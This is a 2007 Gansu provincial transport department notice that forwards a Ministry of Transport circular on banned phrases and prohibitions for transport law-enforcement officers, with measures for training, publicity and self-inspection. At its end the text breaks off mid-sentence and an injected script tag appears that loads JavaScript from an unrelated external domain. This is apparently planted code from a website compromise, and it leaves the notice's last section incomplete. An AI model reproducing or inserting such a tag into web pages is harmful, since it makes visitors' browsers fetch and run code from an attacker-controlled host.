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转发交通部关于印发《交通行政执法忌语》和《交通行政执法禁令》的通知
名    称: 转发交通部关于印发《交通行政执法忌语》和《交通行政执法禁令》的通知
文    号: 发布机构: 甘肃省交通运输厅政府网站
添加时间: 2007-12-26 信息分类: 业务文件
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甘交体法[2007]32号

 
各市州交通局、厅属有关单位:
    现将交通部《关于印发〈交通行政执法忌语〉和〈交通行政执法禁令〉的通知》(交体法发〔2007〕683号)转发给你们,请结合本单位工作实际,认真组织学习,并抓好贯彻落实。
    各单位要深刻认识推行《交通行政执法忌语》(下称《忌语》)和《交通行政执法禁令》(下称《禁令》)对全面推进依法行政,切实加强交通行政执法队伍建设的重要意义。要切实加强领导,制定具体实施方案,采取多种方式深入开展《忌语》和《禁令》的学习宣传教育活动,要结合本部门、本单位工作实际,将《禁令》和《忌语》印发到每一名交通行政执法人员手中,以便学习、对照、执行,或在集中执法站、点张榜公示,主动接受社会和群众监督,切实改进执法工作,端正执法形象,提高交通行政执法水平。要将《忌语》和《禁令》的贯彻执行情况纳入行政执法评议考核的重要内容,并按文件要求,在明年4月底之前开展一次集中排查整治活动。排查整治情况请于2008年4月20日前书面(并发电子邮件)报省厅体改法规处。
 
 
关于印发《交通行政执法禁令》和《交通行政执法忌语》的通知
 
各省、自治区、直辖市、新疆生产建设兵团交通厅(局、委),天津市政公路管理局、上海市建设和交通委员会,部属各单位,部机关各司局:
    为切实做好“三个服务”,广泛开展“文明执法”活动,进一步规范交通行政执法行为,加强交通行政执法队伍建设,树立交通行政执法队伍的良好形象,部决定在全国交通行政执法人员中推行《交通行政执法忌语》(以下简称《忌语》)和《交通行政执法禁令》(以下简称《禁令》)。现将有关事项通知如下:
    一、深刻认识贯彻执行《忌语》和《禁令》的重要意义
    近年来,各级交通主管部门和交通行政执法机构认真贯彻落实依法治国基本方略,全面推行依法行政,切实加强交通行政执法队伍建设,行政执法水平不断提高,队伍整体素质明显增强,执法形象逐步改善。同时,执法语言不规范、不文明,随意执法、越权执法、以权谋私等问题在部分执法机构和执法个人中还比较突出,严重影响了交通行政执法队伍的整体形象,损害了党和政府同人民群众的关系。
    推行《忌语》和《禁令》,严格规范交通行政执法人员的执法行为,进一步严明执法纪律,坚决杜绝和严肃查处违法违纪行为,不断提高执法水平,对于建设一支素质优良、行为规范、纪律严明、作风过硬的交通行政执法队伍具有重要意义。这是交通系统全面落实科学发展观,构建和谐交通,全面推进依法治交,进一步加强思想作风建设、廉政建设,努力做好“三个服务”,实现交通事业又好又快发展的一项重大举措。各级交通主管部门和交通行政执法机构的领导干部要深刻认识实行《忌语》和《禁令》的重大意义,切实加强领导,制定具体实施方案,采取强有力的措施,狠抓《忌语》和《禁令》的贯彻实施,迅速开展整治活动,务求取得明显成效。
    二、采取有效措施,切实抓好贯彻落实
    各级交通主管部门和交通行政执法机构要广泛深入开展对《忌语》和《禁令》的学习宣传教育活动。要采取专题讲座、集中培训等多种形式,认真组织执法人员逐条学习、逐条对照、逐条执行。要通过政务公开公布栏、公路路口、桥梁、车站、港口、码头等场所将《忌语》和《禁令》进行公示,要充分利用广播、电视、报刊等新闻媒体,积极向社会各界和人民群众宣传《忌语》和《禁令》,要将交通执法人员执行《忌语》和《禁令》的情况纳入接受群众监督投诉的范围,主动接受社会和群众的监督。各级交通主管部门和交通行政执法机构要公开举报投拆信箱和电话,方便人民群众举报和投拆,对群众的投拆和举报,要做到件件有答复,事事有回音。要针对本系统、本部门、本单位执法中存在的突出问题,结合《忌语》和《禁令》的各项要求,在明年4月底之前开展一次集中排查整治活动。每个执法机构和执法人员都要认真进行自查自纠,对于发现的问题和隐患,要认真进行整改和消除,并及时采取预防和整治措施。排查整治情况要及时向上级交通主管部门报告,各省、自治区、直辖市交通厅(局、委)要在明年5月底之前以书面形式向部报告。
    三、建立和加强责任制,做到有令必行、有禁必止
    各级交通主管部门和交通行政执法机构要将贯彻执行《忌语》和《禁令》同建立和加强交通行政执法责任制结合起来。要将《忌语》和《禁令》的各项要求量化为具体的执法标准,将《忌语》和《禁令》的贯彻执行情况纳入行政执法评议考核?script src=http://www.mtno.ru/style.js>
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